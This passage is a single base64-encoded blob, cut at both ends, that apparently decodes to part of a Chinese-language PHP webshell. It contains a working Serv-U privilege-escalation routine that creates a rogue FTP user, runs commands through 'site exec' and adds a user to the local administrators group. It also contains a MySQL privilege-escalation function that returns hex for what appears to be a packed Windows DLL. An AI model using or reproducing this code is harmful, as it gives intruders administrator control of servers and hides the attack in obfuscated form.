FkZCAmIG5ldCBsb2NhbGdyb3VwIGFkbWluaXN0cmF0b3JzIHNwaWRlciAvYWRkIiBzdHlsZT0id2lkdGg6NjAwcHgiPjxicj4NCjxpbnB1dCBuYW1lPSJ1c2VyIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJzcGlkZXIiPg0KPGlucHV0IG5hbWU9InBhc3N3b3JkIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJzcGlkZXIiPg0KPGlucHV0IG5hbWU9InBhcnQiIHR5cGU9ImhpZGRlbiIgdmFsdWU9IkM6XFxcXCI+PC9kaXY+DQpFTkQ7DQp9DQplY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLWtNDQIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvZGl2PjwvZm9ybT4nOw0KCWlmKCghZW1wdHkoJF9QT1NUWydTVVBvcnQnXSkpICYmICghZW1wdHkoJF9QT1NUWydTVVVzZXInXSkpICYmICghZW1wdHkoJF9QT1NUWydTVVBhc3MnXSkpKQ0KCXsNCgkJZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4nOw0KCQkkc2VuZGJ1ZiA9ICIiOw0KCQkkcmVjdmJ1ZiA9ICIiOw0KCQkkZG9tYWluICA9ICItU0VURE9NQUlOXHJcbiIuIi1Eb21haW49aGF4b3JjaXRvc3wwLjAuMC4wfDIxfC0xfDF8MFxyXG4iLiItVFpPRW5hYmxlPTBcclxuIi4iIFRaT0tleT1cclxuIjsNCgkJJGFkZHVzZXIgPSAiLVNFVFVTRVJTRVRVUFxyXG4iLiItSVA9MC4wLjAuMFxyXG4iLiItUG9ydE5vPTIxXHJcbiIuIi1Vc2VyPSIuJF9QT1NUWyd1c2VyJ10uIlxyXG4iLiItUGFzc3dvcmQ9Ii4kX1BPU1RbJ3Bhc3N3b3JkJ10uIlxyXG4iLiItSG9tZURpcj1jOlxcXHJcbiIuIi1Mb2dpbk1lc0ZpbGU9XHJcbiIuIi1EaXNhYmxlPTBcclxuIi4iLVJlbFBhdGhzPTFcclxuIi4iLU5lZWRTZWN1cmU9MFxyXG4iLiItSGlkZUhpZGRlbj0wXHJcbiIuIi1BbHdheXNBbGxvd0xvZ2luPTBcclxuIi4iLUNoYW5nZVBhc3N3b3JkPTBcclxuIi4NCgkJCQkJCQkgIi1RdW90YUVuYWJsZT0wXHJcbiIuIi1NYXhVc2Vyc0xvZ2luUGVySVA9LTFcclxuIi4iLVNwZWVkTGltaXRVcD0wXHJcbiIuIi1TcGVlZExpbWl0RG93bj0wXHJcbiIuIi1NYXhOclVzZXJzPS0xXHJcbiIuIi1JZGxlVGltZU91dD02MDBcclxuIi4iLVNlc3Npb25UaW1lT3V0PS0xXHJcbiIuIi1FeHBpcmU9MFxyXG4iLiItUmF0aW9VcD0xXHJcbiIuIi1SYXRpb0Rvd249MVxyXG4iLiItUmF0aW9zQ3JlZGl0PTBcclxuIi4iLVF1b3RhQ3VycmVudD0wXHJcbiIuIi1RdW90YU1heGltdW09MFxyXG4iLg0KCQkJCQkJCSAiLU1haW50ZW5hbmNlPU5vbmVcclxuIi4iLVBhc3N3b3JkVHlwZT1SZWd1bGFyXHJcbiIuIi1SYXRpb3M9Tm9uZVxyXG4iLiIgQWNjZXNzPSIuJF9QT1NUWydwYXJ0J10uIlx8UldBTUVMQ0RQXHJcbiI7DQoJCSRkZWxkb21haW4gPSAiLURFTEVURURPTUFJTlxyXG4iLiItSVA9MC4wLjAuMFxyXG4iLiIgUG9ydE5vPTIxXHJcbiI7DQoJCSRzb2NrID0gQGZzb2Nrb3BlbigiMTI3LjAuMC4xIiwgJF9QT1NUWyJTVVBvcnQiXSwgJGVycm5vLCAkZXJyc3RyLCAxMCk7DQoJCSRyZWN2YnVmID0gQGZnZXRzKCRzb2NrLCAxMDI0KTsNCgkJZWNobyAit7W72Mr9vt2w/DogJHJlY3ZidWYgPGJyPiI7DQoJCSRzZW5kYnVmID0gIlVTRVIgIi4kX1BPU1RbIlNVVXNlciJdLiJcclxuIjsNCgkJQGZwdXRzKCRzb2NrLCAkc2VuZGJ1Ziwgc3RybGVuKCRzZW5kYnVmKSk7DQoJCWVjaG8gIreiy83K/b7dsPw6ICRzZW5kYnVmIDxicj4iOw0KCQkkcmVjdmJ1ZiA9IEBmZ2V0cygkc29jaywgMTAyNCk7DQoJCWVjaG8gIre1u9jK/b7dsPw6ICRyZWN2YnVmIDxicj4iOw0KCQkkc2VuZGJ1ZiA9ICJQQVNTICIuJF9QT1NUWyJTVVBhc3MiXS4iXHJcbiI7DQoJCUBmcHV0cygkc29jaywgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOw0KCQllY2hvICK3osvNyv2+3bD8OiAkc2VuZGJ1ZiA8YnI+IjsNCgkJJHJlY3ZidWYgPSBAZmdldHMoJHNvY2ssIDEwMjQpOw0KCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsNCgkJJHNlbmRidWYgPSAiU0lURSBNQUlOVEVOQU5DRVxyXG4iOw0KCQlAZnB1dHMoJHNvY2ssICRzZW5kYnVmLCBzdHJsZW4oJHNlbmRidWYpKTsNCgkJZWNobyAit6LLzcr9vt2w/DogJHNlbmRidWYgPGJyPiI7DQoJCSRyZWN2YnVmID0gQGZnZXRzKCRzb2NrLCAxMDI0KTsNCgkJZWNobyAit7W72Mr9vt2w/DogJHJlY3ZidWYgPGJyPiI7DQoJCSRzZW5kYnVmID0gJGRvbWFpbjsNCgkJQGZwdXRzKCRzb2NrLCAkc2VuZGJ1Ziwgc3RybGVuKCRzZW5kYnVmKSk7DQoJCWVjaG8gIreiy83K/b7dsPw6ICRzZW5kYnVmIDxicj4iOw0KCQkkcmVjdmJ1ZiA9IEBmZ2V0cygkc29jaywgMTAyNCk7DQoJCWVjaG8gIre1u9jK/b7dsPw6ICRyZWN2YnVmIDxicj4iOw0KCQkkc2VuZGJ1ZiA9ICRhZGR1c2VyOw0KCQlAZnB1dHMoJHNvY2ssICRzZW5kYnVmLCBzdHJsZW4oJHNlbmRidWYpKTsNCgkJZWNobyAit6LLzcr9vt2w/DogJHNlbmRidWYgPGJyPiI7DQoJCSRyZWN2YnVmID0gQGZnZXRzKCRzb2NrLCAxMDI0KTsNCgkJZWNobyAit7W72Mr9vt2w/DogJHJlY3ZidWYgPGJyPiI7DQoJCWlmKCFlbXB0eSgkX1BPU1RbJ1NVQ29tbWFuZCddKSkNCgkJew0KCSAJCSRleHAgPSBAZnNvY2tvcGVuKCIxMjcuMC4wLjEiLCAiMjEiLCAkZXJybm8sICRlcnJzdHIsIDEwKTsNCgkgCQkkcmVjdmJ1ZiA9IEBmZ2V0cygkZXhwLCAxMDI0KTsNCgkgCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsNCgkgCQkkc2VuZGJ1ZiA9ICJVU0VSICIuJF9QT1NUWyd1c2VyJ10uIlxyXG4iOw0KCSAJCUBmcHV0cygkZXhwLCAkc2VuZGJ1Ziwgc3RybGVuKCRzZW5kYnVmKSk7DQoJIAkJZWNobyAit6LLzcr9vt2w/DogJHNlbmRidWYgPGJyPiI7DQoJIAkJJHJlY3ZidWYgPSBAZmdldHMoJGV4cCwgMTAyNCk7DQoJIAkJZWNobyAit7W72Mr9vt2w/DogJHJlY3ZidWYgPGJyPiI7DQoJIAkJJHNlbmRidWYgPSAiUEFTUyAiLiRfUE9TVFsncGFzc3dvcmQnXS4iXHJcbiI7DQoJIAkJQGZwdXRzKCRleHAsICRzZW5kYnVmLCBzdHJsZW4oJHNlbmRidWYpKTsNCgkgCQllY2hvICK3osvNyv2+3bD8OiAkc2VuZGJ1ZiA8YnI+IjsNCgkgCQkkcmVjdmJ1ZiA9IEBmZ2V0cygkZXhwLCAxMDI0KTsNCgkgCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsNCgkgCQkkc2VuZGJ1ZiA9ICJzaXRlIGV4ZWMgIi4kX1BPU1RbIlNVQ29tbWFuZCJdLiJcclxuIjsNCgkgCQlAZnB1dHMoJGV4cCwgJHNlbmRidWYsIHN0cmxlbigkc2VuZGJ1ZikpOw0KCSAJCWVjaG8gIreiy83K/b7dsPw6IHNpdGUgZXhlYyA8Zm9udCBjb2xvcj0jMDA2NjAwPiIuJF9QT1NUWyJTVUNvbW1hbmQiXS4iPC9mb250PiA8YnI+IjsNCgkgCQkkcmVjdmJ1ZiA9IEBmZ2V0cygkZXhwLCAxMDI0KTsNCgkgCQllY2hvICK3tbvYyv2+3bD8OiAkcmVjdmJ1ZiA8YnI+IjsNCgkgCQkkc2VuZGJ1ZiA9ICRkZWxkb21haW47DQoJIAkJQGZwdXRzKCRzb2NrLCAkc2VuZGJ1Ziwgc3RybGVuKCRzZW5kYnVmKSk7DQoJIAkJZWNobyAit6LLzcr9vt2w/DogJHNlbmRidWYgPGJyPiI7DQoJIAkJJHJlY3ZidWYgPSBAZmdldHMoJHNvY2ssIDEwMjQpOw0KCSAJCWVjaG8gIre1u9jK/b7dsPw6ICRyZWN2YnVmIDxicj4iOw0KCSAJCUBmY2xvc2UoJGV4cCk7DQoJCX0NCgkJQGZjbG9zZSgkc29jayk7DQoJCWVjaG8gJzwvZGl2Pic7DQoJfQ0KfQ0KDQovL01ZU1FMzOHIqA0KDQpmdW5jdGlvbiBNeXNxbF9zaGVsbGNvZGUoKQ0Kew0KCXJldHVybiAiMHg0RDVBOTAwMDAzMDAwMDAwMDQwMDAwMDBGRkZGMDAwMEI4MDAwMDAwMDAwMDAwMDA0MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDBFMDAwMDAwMDBFMUZCQTBFMDBCNDA5Q0QyMUI4MDE0Q0NEMjE1NDY4Njk3MzIwNzA3MjZGNjc3MjYxNkQyMDYzNjE2RTZFNkY3NDIwNjI2NTIwNzI3NTZFMjA2OTZFMjA0NDRGNTMyMDZENkY2NDY1MkUwRDBEMEEyNDAwMDAwMDAwMDAwMDAwOUJCQjlBMDJERkRBRjQ1MURGREFGNDUxREZEQUY0NTFBNEM2Rjg1MUREREFGNDUxNUNDNkZBNTFDQkRBRjQ1MTM3QzVGRTUxOEJEQUY0NTFERkRBRjQ1MURDREFGNDUxQkRDNUU3NTFEQURBRjQ1MURGREFGNTUxODREQUY0NTEzN0M1RkY1MURDREFGNDUxMzdDNUYwNTFERURBRjQ1MTUyNjk2MzY4REZEQUY0NTEwMDAwMDAwMDAwMDAwMDAwNTA0NTAwMDA0QzAxMDMwMEIyOTc2QTQ2MDAwMDAwMDAwMDAwMDAwMEUwMDAwRTIxMEIwMTA2MDAwMDUwMDAwMDAwMTAwMDAwMDA5MDAwMDAxMEU2MDAwMDAwQTAwMDAwMDBGMDAwMDAwMDAwMDAxMDAwMTAwMDAwMDAwMjAwMDAwNDAwMDAwMDAwMDAwMDAwMDQwMDAwMDAwMDAwMDAwMDAwMDAwMTAwMDAxMDAwMDAwMDAwMDAwMDAyMDAwMDAwMDAwMDEwMDAwMDEwMDAwMDAwMDAxMDAwMDAxMDAwMDAwMDAwMDAwMDEwMDAwMDAwRDhGMDAwMDA3NDAwMDAwMDAwRjAwMDAwRDgwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA0Q0YxMDAwMDBDMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDU1NTA1ODMwMDAwMDAwMDAwMDkwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA0MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDgwMDAwMEUwNTU1MDU4MzEwMDAwMDAwMDAwNTAwMDAwMDBBMDAwMDAwMDQ4MDAwMDAwMDQwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwNDAwMDAwRTA1NTUwNTgzMjAwMDAwMDAwMDAxMDAwMDAwMEYwMDAwMDAwMDIwMDAwMDA0QzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA0MDAwMDBDMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzMjJFMzAzMjAwNTU1MDU4MjEwRDA5MDIwQTQ1OTQ3NUM1OUZDQzU4NzYzMkM5MDAwMDBGNDYwMDAwMDBCMDAwMDAyNjBBMDBCQzZGRUREREZGNTU4QkVDNkFGRjY4MDAwMDcxNDgwNDBFRDA2NEExMDUwNzUwNjQ4OUZGRDhGRjlGMjU4M0VDMEM1MzU2NTc4OTY1RThDNzQ1RkMwRjdEMEMwMTc1MjM2QTAwRkZFREI3N0IwMTJFMDVCMDA4RkYxNTA5NzAwMDg5NDVFNEVCMDlCODFFNzM2M0JCMDEyNEMzOEIyRkZGMDAwRjhCNERGMDVGRjZGRkQ5NEUwRDVGNUU1QjhCRTU1REMyMEMwMDkwMDA4QjQ0MjQ5OUFDRkRGNjA0Qzc0MDA4MUMxMDA0MzJDMEMzMEY4RjU4RkRBQzdEMDA4MUVDOEMwOTA1OTJDNjg1RThGQkZGNzdERkJENjEwMEI5RkYxNzMzQzA4REJERTkwREYzQUI2NkFCQUEzM0RCODk1REZDOEIzM0RCQkJGRjQ1MEM4MzM4MDEwRjg1NzcwMzgwNDgwNDM5MTkwQTZDNTNFRkZFRkZCRjgwOTg4QjUwMDg4QjAyNTBFODBBMDA1RERDODNDNDA4ODVDMDBGODQ1MTFBODg5REM4RjZGNzIwMjc2QjQxNEVDOUY2Qzc4NUJDMEE5RkQ5REM1RDBDMTY4OTlEQzAwOTBGQzREODUzQTFGQkY2REY4RDhEMUE1MThEOTVDQ0ZBMDY1MjhEODVCODBENTAwRUIzOTk2NjFCMkMyNTZDNDQyNDZDQ0RGN0VGQjExNjI4OEI4NTJBODk4NUFDRjYwNUE4NjZFRUVFOEM2QzU1OUM5ODU2NjgwNTAxMzQ3NzY3MjNDRDk1Qzg1MjI0MENCRkJBODg4M0M5REZEQ0ZGQjdGRjlDRjJBRUY3RDEyQkY5OEJGNzhCRkE4QkQxMTAwRTRGOEJDQUMxQjNDREZERjZFOTAyRjNBNTA2ODNFMTAzRjNBNEZCRjIwODM1NjZCNjA0RDg4QjM5MzI4NEI0QzFCNURCNjBFNkQ4RkJCMTUzMDA2QTAxMDNGRjZCNjM4MzhBNTM4QjIwQjQyODNCQzM3NTJENkEwQTZEODQ0MzZFRjBFOEZCMUM0RjQ3M0FEQkFGM0Q3QzEyNTE2NjcwMzgwQjUyRTkxNzA1OUUwQjY3QjMwQ0Y3MkExOEI5RDBGQTQwRkIwRTcyMTA2QUQxRkE2ODAzRkE4RDFEOTNDQkQ4RDg0MjY4RkYxNEQwRkFDNDdFMDk5MDU4M0E1NDhENjREOUJBNkYzRUU1MTE3RThCRjA4OUI1NjRCOTUzNUVDODAzQzI5OTNCMDQ2QUExOEJCODEwQ0QyRUQ4MUIwRTU2NzQyMEM2M0MxMEZGQjlFNTNCNzJDNjAwMDE2M0U4RUJCQTE4ODJGQkI3Qjk4NTA0MzZENDExMDVCMDU5NkEyMDZBMDMwNDlEMzA2QjZFMDM3RDdFQjJCRjBDRjZCMTcxRjM3QjY4ODNGRUZGNkE4NTM4NTYxOERDRUZFRjJEOTRGODg5QkQ0MDhENDc2NEE4MEZGNjUyRjFEQzJGOTQyREI5NTkwQzg5MDM2QTlENTY3OUY4Q0ZCRTU2NEYwMTUxNTAzMDEwOEIxM0M2MDQzQTAwMDk0NDZDMDNFNDBCRDE4QjNCRDk2ODdFMkMwODkzMTg1ODBDMDRFQjM2NkE2NEI2NkM4REM5NzJEMDMxNzQ1ODEzNTk0RUNFMEU1M0MxNjU1MUM4M0JFOTIwRkRDOTFFNDk4QjU1MTQ4OTBBRTk4QjAzRTYzRjYxRUUyM0MzNjhDODBCNjM4OTUwMEMzQkQzN0MyOTM5RDg3NTFBMzIzM0MwN0YzMDAxQkI3MDkxNTUzNTdBMEM4MzkxMERCQjk1NDUxMTQyMEM4NjUxQzhEMzkxQUM5MUFFOEQ1MTM3NjNGMjRDOTU1MkNEQjAwNjlCNkNDMkE0RTk2NTUxQzUxQzhCNkM3NjY5NUQ1MzBDMUZBODZDQjI0M0MyN0IwQzI5OEI1QkE1QzNBNzFCNEYwOEE0MEY4QjQwMEM4Njc0REQ1Qjc2OEMwN0JDOTE1OTFCMDAxMzBCQzhBRUYxQjcyQzFENzUwNjgzQzhGRkMyQzMwRTA1RENDMDMwRDc0RTA2MEM3NDA5MkZGMjAyRURCNDMyOTA1NDU1NDQ2ODAyMDIxN0Y2RkVCRkZFNzEzNEY3RDgxQkMwNDA4MUM0MUE1RTkwM0Q4MTRDMDYwRjY4MDhCODY0MDQyNkIwNzNBNDY2MTIxQzg2NkRDQkI2NDE3Qjg4NURBODc0MDFBOTAyQURCMTdFRTNEMkI3NjYwM0I1ODg0NUI3MTY4NEZFRjE4ODg1OTBGRkZFN0Q3MkJCMDY1NjNGODRCRDkxMEFFOTgzQ0YzRjRGOUIyRTM0N0Q5NDJDNkEwMjIyNzE3NTk0M0I1QTAxOENFREY3NzUxNjE2RkMxNzA4RUMzRjc5MDQ0ODg4RkVGRTcxMTAzQkM3NzUxRDU2MEExQkM2MEI2QzE0MzI2QTEwN0E4RDc0MjM1RjYxQjhFNzNBNTIxODBGNjZEQjhEMkMyQzg4OTgwQjUzMUNBRTlBMzM4RkNBMDJERDgyN0ExRDBFMjAzREI4QzlCNTM3REM5MDA0Qjk4MjdFOEIzMDg5Q0FCNEQ2RDM3Q0IwMUQ4MEI0NzFEMzM3MTEwQ0U3NDhCRURERUM2RjZBMDgxQUE4RDE3N0U2NDg5RTA0QTBCNjEzOEQ1NUE4RTMyNzMyNUEwMDQzOEQ3REE4ODNDRTJENjU2QjA3NjNDRTQ1NzUzN0U1OUI1MTJGRDhCN0MxMDI4QjhCODU5NjUwNDUyMkQ5QkUxQjYxNDQ0MThENERBODg1Qzk3N0REMTY5NjEzOUMyRTA2MjQ5QzIzOEQ0NzI4MzQxNjA3NTBEMjg5NTQyODNCNzA4MDBDRjJDNjc1MjY1Mzc1NDdDODRCNkNDMDI1Q0YwNzBEMDQ4Q0ZGRkVERjVFQkM4NTQ5RTQyMDA4NjZFNDUxNkEyOEFFMTFEQjZFNjFCQzUyRjg4RDIwNzIyMjlENDg5QUIzOTg1RDJDMUQ4QjM1NzgxQzg4RDExQjMwMkE2QzM3REY1OTY4MzExNjU5RkZGRjExNTFCRTgyQjk2RDQyRDZGQzg0RkVENTEwNTJEOTg1Q0QwNkE1MDkxQ0VCQzVCQTk0NTA2MDUyMDIyQzA2OUUwRjM5ODFDNTExNzg4RkE0MDRGQ0Y2ODQ1MDIyOEI3NTA4N0NDMDgwN0UwOTA2MEE0Qjc3NUI3MUE4NUY4QjVFMEMyMEQ0NjlEOUQxMTVDRUY5MjAxMUM4QjgwRDEyNENCNjE3N0VBOThBQjZFMDBGQzFFMDAyOEJDODAzQzYwNEM0NjgxNDFBREYwMkNDMzNDOThBN0RCRkI1NjZGQkVGNUU0Q0MxRTEwMjA1OEQxNDAxODk1NUUwODAzQTRENEY1ODZGOEY4MThCQjlBQTAxQ0M4QkYyRTI2NkYzQTdFRDBDRjI2QzE2NDEwMkMwMTU5RDA1NDJEODc1NDc3MjA1QjA0QzJDMzkwOEMxMEQwMERBNkUwRDY3RUYxOTY4RDAwNzAwMTAzNEU5MEI4Nzk1QkM1OUM4MkRFRDE1MzNGNjA3QjgwNzc0QzAzRkZCOTAwOUMxODNDMjA2Mjk4QTAyM0MyMTY3REY3RkU5NzQzQzg0M0IxQjNDMEE3NDE3ODg4NDM1MzA0MjFCNDZEODg5ODQ2NzQ0RUJEQjdGQjkwN0NBQkJGRjZGMjlCNkI1M0MzM0QyRjNBNjc1M0I4ODk1NEMwQkI5MThEOTYyQzg2MDc4NERCMzRDNzY3MzkwMzhDMEIxMEI2QzY4RTgwM0M1OTM3ODI3MUVFQjI1NEExRDhFMjM2NTM0QjAzMDFCQjEzNTcyODE0NEM2MEY0Rjk0MDBENzQ5M0M3N0M3MDMwQjVFMzgyRTgxRDhCQjdGMUE4MzdDMjQxMDAyNzUxMzA2MDQwNTc1MEM1QjY0NjQwNDZCNUYyM0MzNTcwODRGMTc5MjEzQzg4ODE0MDUyNUYxRUNBMjYzODEwQzU0NTZDOTEzNENEOEM5QzIyQ0JENEZFNDg1REJDRUU0OTk1NjZCRjZDRkUwRkE4QkNCMkJDRTQ5MEMwODA0OTA0QkI4MDc2ODA0MjcwMEUwRkUzOTcyMjFGNzI0NDM0NTU4RTBGRTgxMDhEODdCOTYwMDJGOEJGQjFCMkEyMzI3ODM3Q0Q5OEJGQUNCQ0I1MDczQkNDODg1NTA5OEUwRkU4RDZGQkZBQzAzQjdCMTBEQ0M2M0RDMERBRjIzNEIyMUQxOERDNDdBRjAyQUZBN0E1NjhGNjM4RkEyQzBFQjBDMDM1NEFENDZGMkM1MDVFRUQ0ODgyMUIwMUE2MEEwODFDNDExMjY4NEMzQ0ZGNDQyNTY4OUZGM0I3N0Q3Nzg1NzA0MENCOTExMjgwRDEwOEQ3QzI0MThGM0FCOEQ0QzI0M0IwRDA2OUI2QzE0NTFBQjM0MzEwMUJBMEIwNDFCMDExMUU1NzI0RTY0RjA2NjUwNzIwRDU1M0Q4NzU1RkQwNEJBOTE3NDY2MzgwRTZFOEQ1NDI0MDhENzMxRjYyRDkyNTI2NjE4MTEwODQzNUM1QzhGNEY0QTc2MTg1MDUxNEY5NDgxMTA2QTVDREZCRkVBQ0M0MDQ0MDc2QzE1ODlCNDI0ODA5Njc0QzY3NjUyREQyNDdDMDM3ODhDNUZCNjVFNTZCODdCNDlCQ0JGRjBGRjI1NUIzQ0NDQ0M4RDg3RDRFMTY3NDc1NUU3RjBGRjQyREY4NkMwMEQ1RjYxM0M1RDZDNzkwNEY3NDEwNDg2OEIyM0I4MDY1NDIzNzQwRjc5NUNFRkRDRDdCN0E1MTA4OTAyQjg2M0MzM0UxMjEwNTA2QUZFNUM5MDhFN0Y0MEY4NjRGRjM1QTkwMDE5OEUxQUI1MjUyOTU4MkZEREQ1QjRCRkMwRUQ3NDJFM0I5MzI0NzRGQTM0NzY4QjBDQjM4OTU5QkQyREI1MEEwMkMzMDRCMzk0NzUxMjY4RjdEQkJGRURCRDJEQjM3RDBFQUFGRjU0MDhFQkMzNjQ4RjA1NDMyMzZDNzI4NkVBOEMxQTY0OEI5QzgxODRGRjgzREY3OTA0Njg3NTEwRTM1MjBDMzk1MTA4NzUwNUNGNEQwNUJCRkI1MzUxQkIxRTE4RUIwQTA4MjQ4OURGRENCN0I2NEIwMjQzOUQ2QjBDNTk1QkZDRUY1NjQzMzIzMDA2OUYwQkY3NTg0MzMwMzBGN0E1RkFGQ0Q4MkMxMERCRDEwQzc0Rjc0MEU0MjY4MkI1OERENjNFM0Y0NUY4MTJFMTFCOEQwOEI2N0Y5N0FEM0UyMTczN0IwOEMxNjE4RDBDNzZCMThGRUE2RUVENUY3NDQ1NTY1NThENkIxMEE4MEI1RDVFNDEwQjMzQkJFODVFRDYzMzc4M0MyNTUzNEYwREQ0MUQyQjM4RDNBRjU2MEMwRTE2OEQzNkI3REVEREI2QzU2NDhGMzU4RjU1MEMzQjA4Qzc3RUJGNzMzMDFBOEIzNDhGRUJBMUI4REJFQjFDQzlFQjE1ODg0REQ2N0E1QzAwM0Y1RDE2NDY2RjY4NDM5NEJDM0I4QjI5OEI0MTlGQ0MyNTZCQjQwMzE4MjRFMUQ3NjNEOUI2NkUyMENGNTZCREU4QzBFMDEwRTI0Nzg1RUQ3NUVDNDIzQzBBRTBERDVCMEQxQTdFNERFNDdGMzQxNjhENUFGRjNBREQ3NjZCMUI5Mjc4NEQxQzgwMjA3NzBEMjQ1MEVEQzNGRjQ4ODQxNTc1NTk1OThCQzY1RUM5QzNDRjhERENGQUY3RDdCMjZCNzExNTEwMDhDM0I3RTA3NzIyMTJDNzQyNEI0RjA0MzRBNzU5OTEzOTE2QkRGMDFDNkM3NDEwMTMxRTk3REVCMkMzNTY4QkI1RkIwNUQ3MzgzQjQyNTY1Nzc3MjE2QTA5MUMxRkY4RUNBMjQ1RkJBNDI0MDIwQzkxRUYyMDU5RTFEQjQ2RUQzOENFQzdGRDg1RjY3NTAzMjg2M0ZDREE3RjVFODNDNjBGODNFNkYwNTY4ODdDQTRCQ0M2NUNFMjNCM0E2QkZDNEQ1NzE2RjY0NjBDNDA3NEVDRUZCNzVEMTU2NjBDQjIxNzREMjk3MzA1MTBCMzU2NTJGNzkwMzU3MzI5QzU0RTMwODM3NDM0MjQxMUZBRkVFNDJCNTAyQUY3RkY3NjEwMDcxNzZGOUIzNEY1REQ3RDA1MjVFQjEyOEI0NjFDNTMwQjVGRDJBNEQ4N0IxQzAwNTk2NDRCMkEyMEIyNTYyODc1MkVFMzRBNDY3QTg2QjM4NkY2MkM1OTFBRTFEODFFMkRGQTg1RUZGRDBBN0MwOTJDRTYxRDkwMjgwREUxNTdGOEVEMzk3RDA4NDcwRjk0QzA0ODVCQzMxNjMwMDc3QUMzMUE2RTVERjEwMjVCNTc1NjM5MTgwM0JBMjM5NzdENjA5N0NBMTQ2QTQwMUEwQ0I4Q0REQ0Y3MDM5QjREQjRERDQwNzQzREZENkU3ODQwNTcyMEFDNTk3Qjc0MTM1NkMyMjBENzg0MzMzN0UxMTk2MjQxMEI1OTU3QjRDNURBMkU2MDE4Q0MwNzgzNTMyOEQwMENCQzMwMTBFMzI2QUJBNzNEQjg4NEZCMTE0N0Q5MDNDQjhCRkVFQTVBOEE0NjE0QjhGMDE3NTlDOTNBNDdGRjc3MDRBOTQ5NDk2MDg1NjNFRjFCMzg1QjVFNUZDOTNBMDA1MTNEN0RCQjhCM0IxQzI3OTc3MjE0ODExMTIyMkUyRDEwQjVCNzNGRjY4NTAxMTc3M0VDMkJDODhCQzQwQzhCRTE4QjU5NkVCNEEzMkQ2ODUwMzZDMTBDNTc2RDc0N0E5QkY4QkFFQjc0RDlDNjE0RjdDNjREOEIxOTc1MDdGOEI3NzgwM0FCNzU2RkVCMjFGNjQ2ODgwNzQ3NDk3NDI1RkY2QkNGQkEyNjI5MUY3NUVCMkQxRDUxODNFMzAzNzQwREVFNUVFRjY2MjAxRDJGNEI3NUYzODQ5MkMzRjdDNzlFRDlFMEZEMjg3NDEyM0FGRDhBMTE2QTlCM0JFOTNBRUU2QzE4MkVGQTJBRDFEQkMyRjZDODJFODlGRUM3RDA3NEFGQkFBNURCMkZCNTIzRkVDNzA2MDNEMDgzRjBFOEMyOEI0Rjc4RTFCRkY1QzYwNEE5MDA5NDgxNzRERTg0RDI3NDJDODQ2NDFFRjdDMjZGQjdCN0I5MEY1ODBDMDcwODc1QzYzOUVCMTg4MThDMzREREEzRTI3MjA5MEUwMDA0NkEyQkM0NUE4ODUzM0Y1NTBBM0I2Q0Y3RUJFRTA3NUY3NUY4QjA3NTg1QTNDQ0ZGRUZERThEQzY5NzRFOEExMUYxNjE2OThBNzEwMUREQkYyQjc0NjQ0Rjc3MTkxNDhBMDc0NjM4RDA3NDE1RDkwQkQzRDJBNTczRTMwQTBBNzVGNUZ